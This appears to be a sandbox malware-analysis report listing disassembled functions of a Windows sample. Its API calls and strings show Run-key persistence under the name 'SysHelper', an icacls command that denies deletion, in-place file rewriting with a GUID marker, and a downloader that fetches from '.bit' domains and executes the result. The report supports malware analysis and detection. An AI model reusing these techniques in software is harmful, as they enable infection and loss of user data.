Opcode ID: 9d39618513f393b8ee02a18fd7c13ac49849191961ec4b92b012fbed944129ab
Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
Opcode Fuzzy Hash: 9d39618513f393b8ee02a18fd7c13ac49849191961ec4b92b012fbed944129ab
Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00410FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149
encryptionstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00411010
__CxxThrowException@8.LIBCMT ref: 00411026

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0041103B
__CxxThrowException@8.LIBCMT ref: 00411051
lstrlenA.KERNEL32(?,00000000), ref: 00411059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00411064
__CxxThrowException@8.LIBCMT ref: 0041107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00411099
__CxxThrowException@8.LIBCMT ref: 004110AB
_memset.LIBCMT ref: 004110CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 004110DE
__CxxThrowException@8.LIBCMT ref: 004110F0
_malloc.LIBCMT ref: 00411100
_memset.LIBCMT ref: 0041110B
_sprintf.LIBCMT ref: 0041112E
lstrcatA.KERNEL32(?,?), ref: 0041113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00411154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0041115F

Strings

%.2X, xrefs: 00411128

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: 58767ee62d541c0ac93fa7b2988ab1e5126a7052be10478fd2962cce1534a85e
Instruction ID: afcee35d8fffc0279d29cc69f214b0122642615a52b78f57353c1cfd92a6c2ef
Opcode Fuzzy Hash: 58767ee62d541c0ac93fa7b2988ab1e5126a7052be10478fd2962cce1534a85e
Instruction Fuzzy Hash: 92516171E40219BBDB10DBE5DC46FEFBBB8FB08704F14012AFA05B6291D77959018BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040F730 Relevance: 29.2, APIs: 19, Instructions: 732COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000,000000FF,?,00000000), ref: 0040F900
_memmove.LIBCMT ref: 0040F9EA
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0040FA51
_memmove.LIBCMT ref: 0040FADA

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: 05b64c2b95d1d22ee21df500977fe7189f4a0c5dab6be022ef3f984c2ffd8a6f
Instruction ID: a2fe25dd57492d494e78aebb36a96054b80ce25314fb01b08d1ce03a62da89f0
Opcode Fuzzy Hash: 05b64c2b95d1d22ee21df500977fe7189f4a0c5dab6be022ef3f984c2ffd8a6f
Instruction Fuzzy Hash: D652A271D00208DBDF20DFA4D985BDEB7B4BF05308F10817AE419B7291D779AA89CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E870 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000), ref: 0040E8CE
__CxxThrowException@8.LIBCMT ref: 0040E8E4

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040E8F9
__CxxThrowException@8.LIBCMT ref: 0040E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0040E928
__CxxThrowException@8.LIBCMT ref: 0040E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040E95D
__CxxThrowException@8.LIBCMT ref: 0040E96F
_memset.LIBCMT ref: 0040E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040E9A2
__CxxThrowException@8.LIBCMT ref: 0040E9B4
_sprintf.LIBCMT ref: 0040E9D3

Strings

%.2X, xrefs: 0040E9CD

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X
API String ID: 1084002244-213608013
Opcode ID: 1d00b682ff7c2ca758e8ada97b96716206c53ff5765b13fcfff0edcc43553fd4
Instruction ID: 6020eefb82f776eec2353dc0ff897aa1862dcd4ecc30860888fbdadc8ba65bc1
Opcode Fuzzy Hash: 1d00b682ff7c2ca758e8ada97b96716206c53ff5765b13fcfff0edcc43553fd4
Instruction Fuzzy Hash: 835173B1E40209EBDF11DFA2DC46FEEBB78EB04704F10452AF501B61C1D7796A158BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000,00000000,?), ref: 0040EB01
__CxxThrowException@8.LIBCMT ref: 0040EB17

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040EB2C
__CxxThrowException@8.LIBCMT ref: 0040EB42
CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0040EB4E
__CxxThrowException@8.LIBCMT ref: 0040EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040EB83
__CxxThrowException@8.LIBCMT ref: 0040EB95
_memset.LIBCMT ref: 0040EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040EBC8
__CxxThrowException@8.LIBCMT ref: 0040EBDA
_sprintf.LIBCMT ref: 0040EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0040EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0040EC4F

Strings

%.2X, xrefs: 0040EBEE

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 3c969f350820ba706d19a7227015f75167d650bfbf9457a4931adb697a62dd31
Instruction ID: 14d7d02cf3c54262bdef7e6fa07b3cadf7b2b7504ea62fb0b9d39e8d8664034d
Opcode Fuzzy Hash: 3c969f350820ba706d19a7227015f75167d650bfbf9457a4931adb697a62dd31
Instruction Fuzzy Hash: A6515371E40209ABDF11DBA6DC46FEFBBB8EB04704F14052AF505B62C1D77969058BA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 0040E67F

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(007A0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040E68B
_wprintf.LIBCMT ref: 0040E69E
_free.LIBCMT ref: 0040E6A4

Part of subcall function 00420BED: RtlFreeHeap.NTDLL(00000000,00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6B9
_free.LIBCMT ref: 0040E6C5
_malloc.LIBCMT ref: 0040E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6E0
_sprintf.LIBCMT ref: 0040E720
_wprintf.LIBCMT ref: 0040E732
_wprintf.LIBCMT ref: 0040E73C
_free.LIBCMT ref: 0040E745

Strings

Error allocating memory needed to call GetAdaptersinfo, xrefs: 0040E699
Address: %s, mac: %s, xrefs: 0040E72D
%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0040E71A

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocateErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 3901070236-1604013687
Opcode ID: 86116fd0c9e432b104d34220e70c2ad806a44289ccaa01368c67fdd59d26a7a7
Instruction ID: 1f0497fb971ee708fef02f82321736b2a43cb7681c3985dbc626545fd8dc3fd8
Opcode Fuzzy Hash: 86116fd0c9e432b104d34220e70c2ad806a44289ccaa01368c67fdd59d26a7a7
Instruction Fuzzy Hash: 251127B2A045647AC27162F76C02FFF3ADC8F45705F84056BFA98E1182EA5D5A0093B9

Uniqueness

Uniqueness Score: -1.00%

Function 0040FB98 Relevance: 15.3, APIs: 10, Instructions: 266
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PathAppendW.SHLWAPI(?,?), ref: 0040FBD5
_memmove.LIBCMT ref: 0040FC3C
PathFileExistsW.SHLWAPI(?,?,?,00000007), ref: 0040FC63
_malloc.LIBCMT ref: 0040FC72
lstrcpyW.KERNEL32(00000000,?), ref: 0040FC8C
lstrcatW.KERNEL32(00000000,?), ref: 0040FCA5
_free.LIBCMT ref: 0040FCD7

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
String ID:
API String ID: 3232302685-0
Opcode ID: 0c306308622afa5658a5a2e951b97f14f2117f6333f806e0fbf7206277d3bf42
Instruction ID: e959444c36dd18fc08dff6604914d564c76187b82df2896015b22d61e5b1ffa1
Opcode Fuzzy Hash: 0c306308622afa5658a5a2e951b97f14f2117f6333f806e0fbf7206277d3bf42
Instruction Fuzzy Hash: 09B19F70D00208DBDF20DFA4D945BDEB7B5BF15308F50407AE40AAB291E7799A89CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00411CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
_memset.LIBCMT ref: 00411D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00411E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00411EA5
GetCommandLineW.KERNEL32 ref: 00411EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00411EBF
lstrcpyW.KERNEL32(?,00000000), ref: 00411ECE
PathFindFileNameW.SHLWAPI(?), ref: 00411EDB
UuidCreate.RPCRT4(?), ref: 00411EFC
UuidToStringW.RPCRT4(?,?), ref: 00411F14
RpcStringFreeW.RPCRT4(00000000), ref: 00411F64
PathAppendW.SHLWAPI(?,?), ref: 00411F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00411F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0041202D
DeleteFileW.KERNEL32(?), ref: 00412036
CopyFileW.KERNEL32(?,?,00000000), ref: 0041204C
RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0041206E
_memset.LIBCMT ref: 00412090
lstrcpyW.KERNEL32(?,005002FC), ref: 004120AA
lstrcatW.KERNEL32(?,?), ref: 004120C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 004120CE
lstrlenW.KERNEL32(?), ref: 004120D7
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 004120F3
RegCloseKey.ADVAPI32(00000000), ref: 004120FC
_memset.LIBCMT ref: 00412120
SetLastError.KERNEL32(00000000), ref: 00412146
lstrcpyW.KERNEL32(?,icacls "), ref: 00412158
lstrcatW.KERNEL32(?,?), ref: 0041216D

Strings

Shell32.dll, xrefs: 00411E94
" --AutoStart, xrefs: 00411DD1
" --AutoStart, xrefs: 004120C2
icacls ", xrefs: 0041214C
SysHelper, xrefs: 00411D5B, 004120EB
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00411D06, 00412064
D, xrefs: 00412128
" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0041216F
SHGetFolderPathW, xrefs: 00411E9F

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: 4563d0486e789c2f1cefc6a9fe51bb17dd1fb7a523a22cbce3cd6528432fead2
Instruction ID: 715e32bd1e023583792331b7dbf49be96a7b9f80df69a50876529e1503cb0a0b
Opcode Fuzzy Hash: 4563d0486e789c2f1cefc6a9fe51bb17dd1fb7a523a22cbce3cd6528432fead2
Instruction Fuzzy Hash: 51E14171D00219EBDF24DBA0DD89FEE77B8BF04304F14416AE609E6191EB786A85CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004111C0 Relevance: 65.3, APIs: 36, Strings: 1, Instructions: 551
filestringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,C0000000,00000001,00000000,00000003,00000080,00000000,?,00000000,?), ref: 0041120F
GetFileSizeEx.KERNEL32(00000000,?,?,00000000,?), ref: 00411228
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041123D
MoveFileW.KERNEL32(00000000,?), ref: 00411277
VirtualAlloc.KERNEL32(00000000,00025815,00001000,00000004,?,00000000,?), ref: 004112B1
_memset.LIBCMT ref: 004112C8
SetFilePointerEx.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 00411301
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,?), ref: 00411314
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041131B
ReadFile.KERNEL32(00000000,00000000,00000026,?,00000000,?,00000000,?), ref: 00411349
VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,?,00000000,?), ref: 00411381
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 00411388
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?), ref: 004113E6
ReadFile.KERNEL32(00000000,00000000,00025805,?,00000000,?,00000000,?), ref: 00411409
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,?), ref: 00411417
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041141E
lstrlenA.KERNEL32(?,?,00000000,?), ref: 00411471
lstrlenA.KERNEL32(?,?,?,00000000,?), ref: 00411491
lstrlenA.KERNEL32(?,00000000,?,?,?,?,?,00000000,?), ref: 004114CF
SetFilePointer.KERNEL32(00000000,00000005,00000000,00000000,00000005,00000000,-000000FB,-000000FB,00000000,00000000,000000FF,00000000,00000000,00000000), ref: 0041159D
SetFilePointerEx.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 004115D0
WriteFile.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 004115F8
WriteFile.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 00411649
lstrlenA.KERNEL32({36A698B9-D67C-4E07-BE82-0EC5B14B4DF5},00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041166B
WriteFile.KERNEL32(00000000,{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5},00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00411678
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 0041168D
MoveFileW.KERNEL32(?,?), ref: 004116D6
VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004116EB

Strings

{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}, xrefs: 00411364, 00411666, 00411672

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: File$CloseHandleVirtual$FreePointerlstrlen$Write$MoveRead$AllocCreateSize_memset
String ID: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
API String ID: 254274740-1186676987
Opcode ID: 5e5a612e974585ddf48c61814e7792aa47d04f071010c7813673cfe7ca70f319
Instruction ID: 4b60432aefe4dd0e03df0e566fa74873db0e7dc4ed90acce11ed2be1fb3b5442
Opcode Fuzzy Hash: 5e5a612e974585ddf48c61814e7792aa47d04f071010c7813673cfe7ca70f319
Instruction Fuzzy Hash: E7229F70E00209EBDB10EBA5DC85FEEB7B8EF05304F10416AE519B7291DB785A85CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0041DBD0 Relevance: 49.6, APIs: 23, Strings: 5, Instructions: 565
networkfilelibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040ECB0: _strtok.LIBCMT ref: 0040ED66

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0041DCF5
GetProcAddress.KERNEL32(00000000,SHGetFolderPathA), ref: 0041DD01

Part of subcall function 00413C40: _memset.LIBCMT ref: 00413C83

UuidCreate.RPCRT4(?), ref: 0041DD3C
UuidToStringA.RPCRT4(?,?), ref: 0041DD57
RpcStringFreeA.RPCRT4(00000000), ref: 0041DDB4
PathAppendA.SHLWAPI(?,00000000), ref: 0041DDD3
CreateDirectoryA.KERNEL32(?,00000000), ref: 0041DDDC
_memset.LIBCMT ref: 0041DEE7
InternetOpenA.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0041DEFC

Part of subcall function 00412900: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000010,-000003FF,-000003FF), ref: 00412966

_wcsstr.LIBCMT ref: 0041DF50
InternetOpenUrlA.WININET(00000000,00000000), ref: 0041E07B

Part of subcall function 0040DD40: _wcsstr.LIBCMT ref: 0040DD8D
Part of subcall function 0040DD40: _wcsstr.LIBCMT ref: 0040DDB6
Part of subcall function 0040DD40: _memset.LIBCMT ref: 0040DDE4
Part of subcall function 0040DD40: lstrlenW.KERNEL32(?), ref: 0040DE0A
Part of subcall function 0040DD40: gethostbyname.WS2_32(00500134), ref: 0040DEA7

_memmove.LIBCMT ref: 0041DFDD
HttpQueryInfoW.WININET(00000000,20000013,?,00000000,00000000), ref: 0041E10D
lstrcpyA.KERNEL32(?,?), ref: 0041E229
PathAppendA.SHLWAPI(?,?), ref: 0041E23F
CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000,?,?), ref: 0041E288
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041E2A0
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0041E2C7
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0041E2FB
CloseHandle.KERNEL32(00000000), ref: 0041E317
InternetCloseHandle.WININET(00000000), ref: 0041E324
InternetCloseHandle.WININET(?), ref: 0041E32A
ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 0041E34D

Strings

Shell32.dll, xrefs: 0041DCF0
Microsoft Internet Explorer, xrefs: 0041DEF7
$run, xrefs: 0041DEAB
.bit/, xrefs: 0041DF45
SHGetFolderPathA, xrefs: 0041DCFB

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Internet$File$CloseCreateHandle_memset_wcsstr$AppendOpenPathStringUuid$AddressByteCharDirectoryExecuteFreeHttpInfoLibraryLoadMultiPointerProcQueryReadShellWideWrite_memmove_strtokgethostbynamelstrcpylstrlen
String ID: $run$.bit/$Microsoft Internet Explorer$SHGetFolderPathA$Shell32.dll
API String ID: 1843630811-800396732
Opcode ID: 65f42c42185e70dd15b8aaae885415293e777ce290e48db59216b87cd6f22eee
Instruction ID: dcf8a581e05b5da13000ef7a953c2c15a8b95d2250363c4482f8ef8be3b44f4c
Opcode Fuzzy Hash: 65f42c42185e70dd15b8aaae885415293e777ce290e48db59216b87cd6f22eee
Instruction Fuzzy Hash: BF32C070108380EFE730DF25C845B9BBBE4AF85308F10491EF99957291D7BA9589CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 00412220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00412235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00412240
PathFindFileNameW.SHLWAPI(00000000), ref: 00412248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00412256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00412291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004122AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004122B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 004122CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 004122FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00412315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0041232C
CloseHandle.KERNEL32(00000000), ref: 00412347

Strings

GetModuleBaseNameW, xrefs: 00412277, 004122AC
EnumProcessModules, xrefs: 0041226C, 004122A1
kernel32.dll, xrefs: 0041224E
Psapi.dll, xrefs: 0041228C
EnumProcesses, xrefs: 00412264, 00412299

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: 2a8a9dd9818d9c7303d75e32746d1d8df15d61a28851d0a93ed3ef8fb498139a
Instruction ID: 197cd9f83d52dd112842658ec983a676e251e24b3cd7e802a51fbc3a937a58d5
Opcode Fuzzy Hash: 2a8a9dd9818d9c7303d75e32746d1d8df15d61a28851d0a93ed3ef8fb498139a
Instruction Fuzzy Hash: A3315371E0021DAFDB11AFE5DC45EEEBBB8FF45704F04406AF904E2190DA749A418FA5

Uniqueness

